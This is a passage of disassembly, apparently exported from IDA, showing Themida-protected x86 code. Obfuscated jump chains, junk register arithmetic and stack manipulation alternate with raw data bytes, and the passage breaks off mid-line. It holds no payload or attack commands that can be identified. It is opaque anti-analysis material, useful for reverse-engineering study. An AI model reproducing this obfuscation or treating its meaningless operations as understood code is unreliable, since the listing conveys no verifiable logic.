35737AA9h or ebp, 28E64716h push esi mov esi, 47C95439h push edx mov edx, 674C0235h sub esi, edx jmp loc_5A4610 ; --------------------------------------------------------------------------- loc_59D026: ; CODE XREF: Themida_:005ABD0Cj pop esp push 3A11h jmp loc_59C752 ; --------------------------------------------------------------------------- db 68h, 96h, 0Bh dd 0BAE90000h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D03B: ; CODE XREF: Themida_:005A3A0Fj jmp loc_59838C ; --------------------------------------------------------------------------- loc_59D040: ; CODE XREF: Themida_:005ACBF7j sub edx, esi pop esi sub edx, 15DA35D2h add edx, edi jmp loc_5A6055 ; --------------------------------------------------------------------------- dd 240C8B66h, 238468h, 56C9E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59D05E: ; CODE XREF: Themida_:00599A2Bj mov [esp], ebx push edi mov edi, 0CA95E82h push 65A8h mov [esp], edi pop ebx mov edi, [esp] add esp, 4 inc ebx js loc_5A16E9 add ebx, 40DD013Dh jns loc_5A3AEE not ebx xor ebx, 87C32A4h jmp loc_59DDDF ; --------------------------------------------------------------------------- loc_59D096: ; CODE XREF: Themida_:005A0C23j pop edi neg edi not edi neg edi inc edi push edx push ebp mov ebp, 2F805AA9h jmp loc_5A15A2 ; --------------------------------------------------------------------------- loc_59D0AA: ; CODE XREF: Themida_:005ABAAFj add cl, 0A4h jge loc_59A001 add cl, 2Dh mov dh, cl pop ecx add dh, 5 jmp loc_5A6040 ; --------------------------------------------------------------------------- loc_59D0C1: ; CODE XREF: Themida_:005A68F3j jmp loc_59838C ; --------------------------------------------------------------------------- loc_59D0C6: ; CODE XREF: Themida_:0059EC7Ej add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 1A01h mov [esp], esi push ecx push 4F2A7EDFh pop ecx not ecx jmp loc_5A763E ; --------------------------------------------------------------------------- dd 282C681h, 0C6816E9Ch, 64F37A4h, 0EE81C601h, 64F37A4h dd 282EE81h, 0D7686E9Ch, 0E9000073h, 0F244h ; --------------------------------------------------------------------------- loc_59D110: ; CODE XREF: Themida_:005A9B57j sub edx, 2CB11D3Bh jmp loc_5AB20C ; --------------------------------------------------------------------------- loc_59D11B: ; CODE XREF: Themida_:0059B710j ; Themida_:0059B88Aj push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5A08BE ; --------------------------------------------------------------------------- loc_59D12C: ; CODE XREF: Themida_:0059DA8Aj add esi, 4 xchg esi, [esp] pop esp push 0BDFh mov [esp], ebx mov ebx, 5F3C533Ch xor ecx, ebx jmp loc_59C783 ; --------------------------------------------------------------------------- loc_59D147: ; CODE XREF: Themida_:005A6ADFj sub edx, esi pop esi pop ebp jmp loc_5A4456 ; --------------------------------------------------------------------------- dd 0FF5BFC88h, 0E95A2434h, 15FCh ; --------------------------------------------------------------------------- loc_59D15C: ; CODE XREF: Themida_:0059BEB4j push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push esi jmp loc_5A0215 ; --------------------------------------------------------------------------- loc_59D16C: ; CODE XREF: Themida_:005AF49Dj dec ah jg loc_5A1076 jmp loc_598FB7 ; --------------------------------------------------------------------------- db 57h, 0BFh, 74h dd 5038616Ch ; --------------------------------------------------------------------------- loc_59D180: ; CODE XREF: Themida_:005A789Dj add esp, 4 xor ecx, 30982E63h mov eax, [esp] push edx push esp pop edx add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] pop ebx push 7ACBh mov [esp], ebp push edi mov edi, 6C072A76h mov ebp, 6C072A7Ah push eax push ebx mov ebx, 7F844E17h push eax mov eax, 742A0C2Dh xor ebx, eax mov eax, [esp] add esp, 4 jmp loc_5A85AF ; --------------------------------------------------------------------------- loc_59D1D8: ; CODE XREF: Themida_:005AE40Bj and eax, 5900011Ch xor eax, 5906677Ch add edx, 64DD6B49h add edx, eax sub edx, 64DD6B49h pop eax add edx, ebx push 12EDh mov [esp], ebp mov ebp, 1806677Ch add edx, 445A7CE5h sub edx, ebp sub edx, 445A7CE5h mov ebp, [esp] add esp, 4 mov ebx, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] or [esp], ax pushf jmp loc_5A252F ; --------------------------------------------------------------------------- loc_59D233: ; CODE XREF: Themida_:005AD519j add ah, 35h push dx mov dh, 0E0h add ah, dh pop dx mov ch, ah mov eax, [esp] add esp, 4 sub ah, ch pop cx xor bl, ah pop eax neg bl jmp loc_59FA2D ; --------------------------------------------------------------------------- loc_59D254: ; CODE XREF: Themida_:005AA949j push dword ptr [esp] push dword ptr [esp] pop eax push eax jmp loc_5A04F1 ; --------------------------------------------------------------------------- loc_59D261: ; CODE XREF: Themida_:005A6F6Ej push edi push eax mov eax, 7B0E3718h neg eax jmp loc_5A54AD ; --------------------------------------------------------------------------- db 81h dd 84D652F3h, 8BDD899Ch, 47E9241Ch, 53000113h, 4BBh, 5BD90100h dd 4BD55h, 0F2E90000h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D293: ; CODE XREF: Themida_:005A846Dj xchg ebp, [esp] pop esp jmp loc_59DA25 ; --------------------------------------------------------------------------- a1S0 db '1Ηι)0',0 db 0 ; --------------------------------------------------------------------------- loc_59D2A3: ; CODE XREF: Themida_:0059AD30j sub dword ptr [esp+4], 55F663FAh sub dword ptr [esp+4], 2AAD4243h push dword ptr [esp] pop edx push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5A2B86 ; --------------------------------------------------------------------------- loc_59D2C8: ; CODE XREF: Themida_:005A9677j jmp loc_59D561 ; --------------------------------------------------------------------------- aAtiaSu6 db 'β¨κΦΐκ',7,'ιU6',0 db 0 ; --------------------------------------------------------------------------- loc_59D2DB: ; CODE XREF: Themida_:0059D367j pop esi dec esi add esi, 10290232h mov ebx, esi jmp loc_5A8C78 ; --------------------------------------------------------------------------- loc_59D2EA: ; CODE XREF: Themida_:0059ABBFj mov ecx, 75953CAh xor ecx, 401E7270h and ecx, 4B481CB0h and ecx, 43EC3AC4h jmp loc_5A5AD1 ; --------------------------------------------------------------------------- loc_59D306: ; CODE XREF: Themida_:loc_5A05F4j or ebx, 0EE9230Ch jmp loc_59E74D ; --------------------------------------------------------------------------- db 2Ch, 58h, 28h dd 0E95804F8h, 0EB97h ; --------------------------------------------------------------------------- loc_59D31C: ; CODE XREF: Themida_:005A6B92j xor edx, 0EEB1C9E9h jmp loc_5AE5F6 ; --------------------------------------------------------------------------- loc_59D327: ; CODE XREF: Themida_:005A9F47j add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_59C3D3 ; --------------------------------------------------------------------------- loc_59D34B: ; CODE XREF: Themida_:0059AF9Dj add esi, 4 xchg esi, [esp] jmp loc_5A0D4E ; --------------------------------------------------------------------------- loc_59D359: ; CODE XREF: Themida_:005AE109j push 7E95h mov [esp], ebx push esi push 3DE65E0Bh jmp loc_59D2DB ; --------------------------------------------------------------------------- loc_59D36C: ; CODE XREF: Themida_:loc_59F1BEj push eax mov ah, bh mov cl, ah pop eax mov dh, cl push dword ptr [esp] jmp loc_5A3526 ; --------------------------------------------------------------------------- loc_59D37C: ; CODE XREF: Themida_:005A3E9Aj mov ebx, 0F62639Ah xor ebx, 6D31449Ch jmp loc_59ACE7 ; --------------------------------------------------------------------------- loc_59D38C: ; CODE XREF: Themida_:005A135Dj xor ebp, 7C162636h jmp loc_5A804B ; --------------------------------------------------------------------------- loc_59D397: ; CODE XREF: Themida_:005AD433j mov [esp], edx jmp loc_5AD4F7 ; --------------------------------------------------------------------------- loc_59D39F: ; CODE XREF: Themida_:00599DCDj add bh, 0F2h mov al, bh jmp loc_5A433C ; --------------------------------------------------------------------------- loc_59D3A9: ; CODE XREF: Themida_:005A698Ej xor ebx, edx not edx xchg edx, ebx push ebx xchg eax, [esp] not eax xchg eax, [esp] pop ebx add ebx, 0B6D2A85h xor ebx, 53DE6CF6h add eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_5AB40B ; --------------------------------------------------------------------------- loc_59D3DB: ; CODE XREF: Themida_:005AA825j push 442Ch mov [esp], ebx sub esp, 4 jmp loc_5A8B72 ; --------------------------------------------------------------------------- loc_59D3EE: ; CODE XREF: Themida_:005A360Aj ; Themida_:005A6977j or ebx, ebx jnz loc_59BD83 push 410Ah mov [esp], edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_5A11C0 ; --------------------------------------------------------------------------- loc_59D416: ; CODE XREF: Themida_:00599252j ; Themida_:005A7279j push ecx mov cl, 10h and cl, 0B1h xor cl, 32h and cl, 29h dec cl push eax mov ah, 0E3h add ah, 81h xor ah, 0Ch jmp loc_5A9D57 ; --------------------------------------------------------------------------- dw 0B850h dd 17738B9h, 9639A525h, 0BC800F06h, 2D000101h, 291730EDh dd 0B3BDE9h db 0 ; --------------------------------------------------------------------------- loc_59D44D: ; CODE XREF: Themida_:0059B7D7j jmp loc_59838C ; --------------------------------------------------------------------------- dw 7EB9h dd 8132F56Ch, 236CC0F1h, 0BAA1E96Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D462: ; CODE XREF: Themida_:005A80E2j add ebx, 2EDC52ECh jmp loc_59B4BA ; --------------------------------------------------------------------------- loc_59D46D: ; CODE XREF: Themida_:0059E48Ej mov ebx, 77834727h inc ebx jmp loc_5AC7FB ; --------------------------------------------------------------------------- loc_59D478: ; CODE XREF: Themida_:005A5EC8j push 6EB6h mov [esp], esi mov esi, esp push ecx mov ecx, 2EBF6C2Fh jmp loc_5A0A43 ; --------------------------------------------------------------------------- loc_59D48D: ; CODE XREF: Themida_:00598CE8j push edx push 4 pop edx add eax, 6CB07969h add eax, edx sub eax, 6CB07969h pop edx push edx jmp loc_598BF6 ; --------------------------------------------------------------------------- loc_59D4A7: ; CODE XREF: Themida_:005A41A6j push ebp mov ebp, 66CB61F3h add esi, ebp mov ebp, [esp] add esp, 4 add esi, eax push ecx jmp loc_59B2D3 ; --------------------------------------------------------------------------- loc_59D4BD: ; CODE XREF: Themida_:005AA907j jmp loc_59838C ; --------------------------------------------------------------------------- dw 0F766h dd 0E99C241Ch, 0FFFFAEC0h ; --------------------------------------------------------------------------- loc_59D4CC: ; CODE XREF: Themida_:005AB14Dj sub [edi+24h], edx push dword ptr [esp] mov edx, [esp] push edx jmp loc_5AEF6A ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 81000000h, 4C1h, 240C3300h, 33240C31h, 0E95C240Ch dd 0A633h ; --------------------------------------------------------------------------- loc_59D4F8: ; CODE XREF: Themida_:005A3B20j push edx jmp loc_59F1E6 ; --------------------------------------------------------------------------- loc_59D4FE: ; CODE XREF: Themida_:0059A84Bj jmp loc_5ADBDD ; --------------------------------------------------------------------------- db 81h dd 0C1042444h, 5B02AB55h, 8324148Bh, 436804C4h, 8900005Ah dd 0E955243Ch, 0C17h ; --------------------------------------------------------------------------- loc_59D520: ; CODE XREF: Themida_:005A8CB3j mov cx, [esp] jmp loc_59EE39 ; --------------------------------------------------------------------------- loc_59D529: ; CODE XREF: Themida_:005A4EABj mov [esp], eax jmp loc_5A5FBB ; --------------------------------------------------------------------------- loc_59D531: ; CODE XREF: Themida_:005A8C1Aj shr ebp, 6 dec ebp jmp loc_5AB0A9 ; --------------------------------------------------------------------------- loc_59D53A: ; CODE XREF: Themida_:005A3ED9j shl edi, 4 jmp loc_5AC305 ; --------------------------------------------------------------------------- dw 0F681h dd 74BC05C0h, 0FC01F681h, 5CE930F8h db 93h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D553: ; CODE XREF: Themida_:005A7B89j sub esp, 4 mov [esp], edx jmp loc_5AAB7F ; --------------------------------------------------------------------------- loc_59D561: ; CODE XREF: Themida_:loc_59D2C8j push esi mov esi, esp add esi, 4 sub esp, 4 mov [esp], edi mov edi, 3246578Eh add edi, 1 not edi inc edi jmp loc_5A3142 ; --------------------------------------------------------------------------- loc_59D586: ; CODE XREF: Themida_:loc_59F1B9j push ecx mov ecx, 44A657D8h xor ebx, ecx pop ecx and ebx, 26AE27D9h jmp loc_5AA078 ; --------------------------------------------------------------------------- loc_59D59A: ; CODE XREF: Themida_:005AD0C3j push edx mov edx, 35DAECC9h add ecx, edx pop edx sub esp, 4 mov [esp], ebp jmp loc_5A331E ; --------------------------------------------------------------------------- loc_59D5AE: ; CODE XREF: Themida_:005AA48Cj add [esp+4], ecx pop ecx jmp loc_5ADE63 ; --------------------------------------------------------------------------- loc_59D5B8: ; CODE XREF: Themida_:005A15C4j mov [esp], ecx sub esp, 4 mov [esp], ebp push 204C7EC5h pop ebp shl ebp, 2 neg ebp jp loc_5A3626 xor ebp, 7ECE04FCh mov ecx, ebp mov ebp, [esp] push 5884h jmp loc_59C681 ; --------------------------------------------------------------------------- dd offset dword_44B1A4+40C4h align 4 dd 0BA241489h, 77862CEEh, 764CEA81h, 39E94C1Fh, 810000FFh dd 13602434h, 535932F4h, 111ADE9h db 0 ; --------------------------------------------------------------------------- loc_59D60D: ; CODE XREF: Themida_:0059FD4Ej xchg ecx, [esp] jmp loc_59B836 ; --------------------------------------------------------------------------- loc_59D615: ; CODE XREF: Themida_:0059B958j btr [esp], ax pushf jmp loc_5AB270 ; --------------------------------------------------------------------------- dd 4C4815Bh, 81000000h, 0FA0659EEh, 81EE014Fh, 0FA0659C6h dd 0E1C6814Fh, 0E90BAB2Ah, 10BC0h, 24048B66h, 4EC81h, 5AE90000h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D64F: ; CODE XREF: Themida_:005A1EFAj xchg ebp, [esp] pop esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_5AE0BD ; --------------------------------------------------------------------------- loc_59D66A: ; CODE XREF: Themida_:005ABBBAj mov ebp, [esp] add esp, 4 sub ecx, 0DF4EF206h add ebp, 4E431F80h add ebp, ecx sub ebp, 4E431F80h jmp loc_59B0C3 ; --------------------------------------------------------------------------- loc_59D68C: ; CODE XREF: Themida_:0059EC11j xor edi, 57C37200h sub esi, 6233077Bh add esi, edi push edx jmp loc_5A6BE5 ; --------------------------------------------------------------------------- loc_59D6A0: ; CODE XREF: Themida_:005AB54Bj mov [esp], ebp not dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 xchg ebp, [esp] push dword ptr [esp] jmp loc_59CE76 ; --------------------------------------------------------------------------- loc_59D6BB: ; CODE XREF: Themida_:0059A4E9j neg di add di, 5405h sub si, di pop edi xor bp, si pop esi and di, bp pop ebp add di, 37A4h xor di, 1FD3h sub cx, 30EDh add cx, 6181h add cx, di sub cx, 6181h add cx, 30EDh pop edi xor ax, cx pop ecx xor bx, ax movzx eax, ax push 5E40h mov [esp], edx push 2701h mov [esp], esp push ecx mov ecx, 4 jmp loc_59DA9A ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0EB810000h, 4, 5C241C87h, 54243489h, 8124348Bh dd 4C4h, 0D5BEE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D73A: ; CODE XREF: Themida_:005AF492j pop esp jmp loc_59B17A ; --------------------------------------------------------------------------- loc_59D740: ; CODE XREF: Themida_:0059EF2Dj pop edx add esi, 4 xchg esi, [esp] jmp loc_5A5EAE ; --------------------------------------------------------------------------- loc_59D74C: ; CODE XREF: Themida_:005A623Aj sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_5A7682 ; --------------------------------------------------------------------------- loc_59D75C: ; CODE XREF: Themida_:0059FE31j inc esi push ebp jmp loc_59A689 ; --------------------------------------------------------------------------- db 31h dd 2C33242Ch, 24248B24h, 24048B66h, 0FFFDECE9h db 0FFh ; --------------------------------------------------------------------------- loc_59D775: ; CODE XREF: Themida_:0059E010j push dword ptr [esp] jmp loc_5AD56F ; --------------------------------------------------------------------------- loc_59D77D: ; CODE XREF: Themida_:0059C92Cj mov esi, esp add esi, 4 add esi, 4 jmp loc_5A54A4 ; --------------------------------------------------------------------------- loc_59D78D: ; CODE XREF: Themida_:005A4CEAj neg ebp add ebp, 48A56DFCh mov edi, ebp pop ebp jmp loc_5A4911 ; --------------------------------------------------------------------------- loc_59D79D: ; CODE XREF: Themida_:0059C038j mov edi, 4EB04342h jmp loc_5AF205 ; --------------------------------------------------------------------------- loc_59D7A7: ; CODE XREF: Themida_:005A70E9j sub dl, 22h jmp loc_5A2C40 ; --------------------------------------------------------------------------- db 5Fh dd 5C240C87h, 4EC81h, 8F540000h, 4832404h, 48F0424h, 24048324h dd 241C8B04h, 4C481h, 42E90000h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D7D7: ; CODE XREF: Themida_:005A0568j mov [esp], esi push 49A2h mov [esp], ebx mov ebx, esp push edi mov edi, 4 add ebx, edi pop edi jmp loc_5A9016 ; --------------------------------------------------------------------------- loc_59D7F2: ; CODE XREF: Themida_:005AED96j sub bh, 0BDh mov cl, bh pop ebx jmp loc_5A0C82 ; --------------------------------------------------------------------------- loc_59D7FD: ; CODE XREF: Themida_:005AD2A4j xor cl, 0C4h add bl, cl pop ecx sub bl, 0A7h add bl, 0C5h jmp loc_5A873E ; --------------------------------------------------------------------------- loc_59D80E: ; CODE XREF: Themida_:005AAE4Cj add dl, 5 mov ch, dl jmp loc_5AB49A ; --------------------------------------------------------------------------- loc_59D818: ; CODE XREF: Themida_:005AD0F8j xchg esi, [esp] pop esp push ebx mov ebx, esp add ebx, 4 jmp loc_5A5302 ; --------------------------------------------------------------------------- dw 815Bh dd 766F87C3h, 81F32916h, 766F87EBh, 24348B16h, 5804C483h dd 31241C33h, 1C33241Ch, 176EE924h, 0FB010001h, 71D7685Fh dd 0C890000h, 8AE95324h, 56000011h, 0DD195FBEh, 7F6DBD5Ch dd 0F5296E9Ch, 0B06BE9h, 98C38100h, 18C8BD3h, 241C8BDEh dd 4C481h, 0F4E90000h db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D887: ; CODE XREF: Themida_:005A0045j neg edi jmp loc_5ABAB4 ; --------------------------------------------------------------------------- dw 0CCE9h dd 890000F8h, 46851E6h, 59000000h, 718CEE81h, 0CE0172A9h dd 718CBA52h, 90E972A9h, 87000055h, 248B243Ch, 0E0895024h dd 405h, 40500h, 4870000h, 0C90B5C24h, 2C94840Fh, 0B9680000h dd 68000061h, 810h, 11BECE9h db 0 ; --------------------------------------------------------------------------- loc_59D8DD: ; CODE XREF: Themida_:0059E916j add edx, esi mov esi, [esp] add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5AD784 ; --------------------------------------------------------------------------- db 81h dd 623DDDE9h, 5AC981D4h, 0E9332656h, 0FFFFD94Eh, 0C159C831h dd 0E0C104E0h, 0BD555205h, 34141204h, 7F62E9h db 0 ; --------------------------------------------------------------------------- loc_59D919: ; CODE XREF: Themida_:0059E7EAj mov ebx, [esp] jmp loc_5A1135 ; --------------------------------------------------------------------------- loc_59D921: ; CODE XREF: Themida_:0059B5E8j add edi, 122D5E05h jmp loc_5A6A25 ; --------------------------------------------------------------------------- loc_59D92C: ; CODE XREF: Themida_:0059DD83j mov ebp, 6FA40152h sub edx, 36372CA2h add edx, ebp add edx, 36372CA2h pop ebp sub edx, eax jmp loc_5A3A26 ; --------------------------------------------------------------------------- loc_59D947: ; CODE XREF: Themida_:005A2E01j push 1B40h mov [esp], edx mov edx, 16C256D0h or edx, 2E6F6006h jmp loc_5A7B7C ; --------------------------------------------------------------------------- loc_59D95F: ; CODE XREF: Themida_:005AB038j add dword ptr [eax], 1 push dword ptr [esp] mov eax, [esp] jmp loc_5A84A2 ; --------------------------------------------------------------------------- dd 0E1324868h, 489FE913h, 0C2810000h, 684E71BFh, 8904EC83h dd 0D6E92434h, 5F0000EFh, 4C481h, 2C330000h, 242C3124h dd 8B242C33h, 0AE92424h db 93h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D9A3: ; CODE XREF: Themida_:005A5BE6j add eax, 2DFE7264h add eax, 53B600DAh sub eax, esi jmp loc_5A19A9 ; --------------------------------------------------------------------------- loc_59D9B4: ; CODE XREF: Themida_:005A0BD3j push 0E37h mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 sub esi, 4 jmp loc_5A6DC5 ; --------------------------------------------------------------------------- loc_59D9CF: ; CODE XREF: Themida_:0059E104j ; Themida_:005AE61Aj push dword ptr [esp] pop eax jmp loc_5A3E51 ; --------------------------------------------------------------------------- loc_59D9D8: ; CODE XREF: Themida_:005A423Cj xchg eax, [esp] pop esp jmp loc_5AE460 ; --------------------------------------------------------------------------- db 45h, 0Fh, 80h dd 0FFFFEB1Bh, 17C8E581h, 8C0F18D2h, 0FFFFE4ABh, 60AFF581h dd 0EA893F2Ah, 2C81525Dh, 611C5C24h, 0C7815F5Ah, 5A611C5Ch dd 0CB6FE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DA12: ; CODE XREF: Themida_:005A08C8j mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp] pop esp mov eax, edx jmp loc_5A1567 ; --------------------------------------------------------------------------- loc_59DA25: ; CODE XREF: Themida_:0059D297j ; Themida_:005A7779j mov [esp], ebx mov eax, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_59DF66 ; --------------------------------------------------------------------------- loc_59DA43: ; CODE XREF: Themida_:005A8198j xor edx, ebp pop ebp shl edx, 8 not edx jmp loc_5A36CA ; --------------------------------------------------------------------------- loc_59DA50: ; CODE XREF: Themida_:0059BBB8j xchg esi, ebp jmp loc_5ACC19 ; --------------------------------------------------------------------------- loc_59DA57: ; CODE XREF: Themida_:005AE315j xor esi, ebp pop ebp mov edx, esi pop esi and eax, edx pop edx or edx, eax shl edx, 1 push 7585h jmp loc_5AC9AA ; --------------------------------------------------------------------------- loc_59DA6E: ; CODE XREF: Themida_:0059C7F1j ; Themida_:005A368Cj or ebp, 7E035239h inc ebp sub ebp, 7F975EB6h add esi, 4BB53C0Eh add esi, ebp sub esi, 4BB53C0Eh pop ebp jmp loc_59D12C ; --------------------------------------------------------------------------- aBXSW db 'Α',27h,'xΐ[ι`W',0 align 2 loc_59DA9A: ; CODE XREF: Themida_:0059D711j add [esp+4], ecx mov ecx, [esp] add esp, 4 mov edx, [esp] add esp, 4 push esi mov esi, 59D03EB4h dec esi push ebp push ebx mov ebx, 59353873h mov ebp, ebx pop ebx push edx mov edx, 4064126Fh neg edx inc edx xor edx, 0D4D5FC40h xor ebp, edx pop edx xor ebp, 48F173CEh sub ebp, 60BA4674h add esi, ebp mov ebp, [esp] add esp, 4 xor esi, 73A052AAh add edx, 62FB32ABh jmp loc_5AE854 ; --------------------------------------------------------------------------- loc_59DAF5: ; CODE XREF: Themida_:00599EB9j shl ebp, 4 push edx mov edx, 48D825E3h add edx, 1BC22A0Ah add ebp, edx pop edx shl ebp, 5 jmp loc_5AECCF ; --------------------------------------------------------------------------- db 68h dd 6608h, 50243489h, 4914E3B8h, 0E7ECE902h, 850FFFFFh dd 2625h, 9BC58166h, 0EB89665Eh, 53242C8Bh db 5Dh ; --------------------------------------------------------------------------- loc_59DB35: ; CODE XREF: Themida_:005A5E98j mov ecx, 37CC1008h push 6B36h mov [esp], edi mov edi, 0A9E3D0Ah jmp loc_5ACB2E ; --------------------------------------------------------------------------- loc_59DB4C: ; CODE XREF: Themida_:0059A19Bj cmp cx, ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59DB55: ; CODE XREF: Themida_:005A6BBBj mov [esp], edi jmp loc_5A7F13 ; --------------------------------------------------------------------------- loc_59DB5D: ; CODE XREF: Themida_:0059DEB2j push dword ptr [esp] pop edx push ebx jmp loc_5A4213 ; --------------------------------------------------------------------------- loc_59DB67: ; CODE XREF: Themida_:005A5182j pop esp imul cl movzx cx, ah push small 70D3h mov [esp], cx jmp loc_59C8D3 ; --------------------------------------------------------------------------- loc_59DB7B: ; CODE XREF: Themida_:005A791Bj mov [esp], ebx jmp loc_5A94AE ; --------------------------------------------------------------------------- loc_59DB83: ; CODE XREF: Themida_:005A8571j pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esp, 4 jmp loc_5A2982 ; --------------------------------------------------------------------------- a4ms5 db '4¬ι5\',0 dw 8300h dd 2C8904ECh, 59B4E924h, 1C8B0000h, 1A18E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59DBB6: ; CODE XREF: Themida_:005AE438j push 25BD3037h pop ebx neg ebx push edx mov edx, 46A84501h jmp loc_5AC6A2 ; --------------------------------------------------------------------------- db 68h, 0B5h, 26h dd 24890000h, 24048324h, 0DFE95E04h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DBDB: ; CODE XREF: Themida_:005A0F69j mov edx, 6FA24D0Ah jmp loc_59F6E9 ; --------------------------------------------------------------------------- aYqishla db 'YQαhA',0 align 2 dw 1489h dd 4BA24h, 0D1010000h, 0B611E9h db 0 ; --------------------------------------------------------------------------- loc_59DBFD: ; CODE XREF: Themida_:005A5662j not edi shr edi, 8 add edi, 0FFFFFFFFh jmp loc_59C163 ; --------------------------------------------------------------------------- dw 0FB29h dd 83243C8Bh, 0D82904C4h, 27CAE9h, 5DBE5600h, 811A5F03h dd 0C82263CEh, 0E1E9500Fh db 2 dup(1), 0 ; --------------------------------------------------------------------------- loc_59DC2B: ; CODE XREF: Themida_:005A4955j ; Themida_:005A9A12j push edi mov edi, esp add edi, 4 push esi jmp loc_5A56CB ; --------------------------------------------------------------------------- loc_59DC3A: ; CODE XREF: Themida_:005A4058j pop edx push ebp mov ebp, esp jmp loc_59FF06 ; --------------------------------------------------------------------------- loc_59DC43: ; CODE XREF: Themida_:005AD505j add eax, 786A0A9Ch sub eax, ebp sub eax, 786A0A9Ch sub esp, 4 mov [esp], ebx push eax jmp loc_5A28DE ; --------------------------------------------------------------------------- db 5 dd 481579BDh, 0A5232005h, 0E9F0017Dh, 3D63h ; --------------------------------------------------------------------------- loc_59DC6C: ; CODE XREF: Themida_:0059E5CBj push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_5A5910 ; --------------------------------------------------------------------------- loc_59DC83: ; CODE XREF: Themida_:005ADA4Cj mov [esp], ebp mov ebp, 67C39F2h not ebp push ebp jmp loc_5A74F2 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78100h, 0E9000000h, 0FFFFFC0Bh ; --------------------------------------------------------------------------- loc_59DCA4: ; CODE XREF: Themida_:0059C03Ej add ebx, 3CAFF774h mov esi, ebx pop ebx jmp loc_5A66C1 ; --------------------------------------------------------------------------- loc_59DCB2: ; CODE XREF: Themida_:loc_5AE1E0j or cl, 0F6h jb loc_59AC9C jmp loc_5A2A97 ; --------------------------------------------------------------------------- dd 81243C8Bh, 4C4h, 4EC8300h, 0B8240489h, 4B921222h, 0FFB9BDE9h db 0FFh ; --------------------------------------------------------------------------- loc_59DCD9: ; CODE XREF: Themida_:005A6FD8j add esp, 4 add esp, 4 sub esp, 4 jmp loc_5A6B3E ; --------------------------------------------------------------------------- loc_59DCEA: ; CODE XREF: Themida_:005AF0D5j jmp loc_59838C ; --------------------------------------------------------------------------- loc_59DCEF: ; CODE XREF: Themida_:005ADE17j not dword ptr [esp] mov edi, [esp] add esp, 4 xchg edi, ebx add ebx, 60E645A2h add ebx, 0C6E358h xor eax, ebx mov ebx, [esp] add esp, 4 push ebx sub esp, 4 mov [esp], ecx mov ecx, 527E31BCh push edi mov edi, 527E29BCh add ecx, 37B240Fh sub ecx, edi push esi mov esi, 37B240Fh sub ecx, esi pop esi mov edi, [esp] add esp, 4 mov ebx, ecx pop ecx and eax, ebx jmp loc_59BB08 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0CEh dd 0C11A5509h, 0D0F704E8h, 0D0F7D8F7h, 0C6F2E9h db 0 ; --------------------------------------------------------------------------- loc_59DD61: ; CODE XREF: Themida_:005ACCC4j mov eax, 4F1B4DD1h shl eax, 8 or eax, 51367673h shl eax, 1 shr eax, 5 xor eax, 2A288A66h add ebx, eax pop eax jmp loc_5A772D ; --------------------------------------------------------------------------- loc_59DD80: ; CODE XREF: Themida_:0059B4FCj mov [esp], ebp jmp loc_59D92C ; --------------------------------------------------------------------------- loc_59DD88: ; CODE XREF: Themida_:0059C34Ej sub bl, ah pop ax sub bl, 6Bh push ecx mov ch, 0FCh xor ch, 2Ah jmp loc_5A77F8 ; --------------------------------------------------------------------------- loc_59DD9A: ; CODE XREF: Themida_:005AE3CAj pop ecx jmp loc_598BC5 ; --------------------------------------------------------------------------- loc_59DDA0: ; CODE XREF: Themida_:005A6590j add esi, 0FA1DDA24h add edx, esi pop esi sub esp, 4 mov [esp], edi push esp mov edi, [esp] jmp loc_5A3166 ; --------------------------------------------------------------------------- dd 2AC319BDh, 5DEA2995h, 0C977262Dh, 71BF5757h, 0E9709674h dd 5A79h, 240C8B66h, 8904EC83h, 14E9243Ch db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59DDDF: ; CODE XREF: Themida_:0059D091j ; Themida_:005AB9DDj mov ebx, esp add ebx, 4 jmp loc_5A7A0A ; --------------------------------------------------------------------------- loc_59DDEC: ; CODE XREF: Themida_:0059874Bj add esi, edi sub esi, 5FEB70F2h mov edi, [esp] add esp, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push 24h pop edx sub edx, 44F93754h add edx, edi jmp loc_5A0485 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 68243489h, 38B57FDAh, 0D6EE815Eh, 5238B57Fh, 89F78957h dd 0D7895FFAh, 0EA815E5Ah, 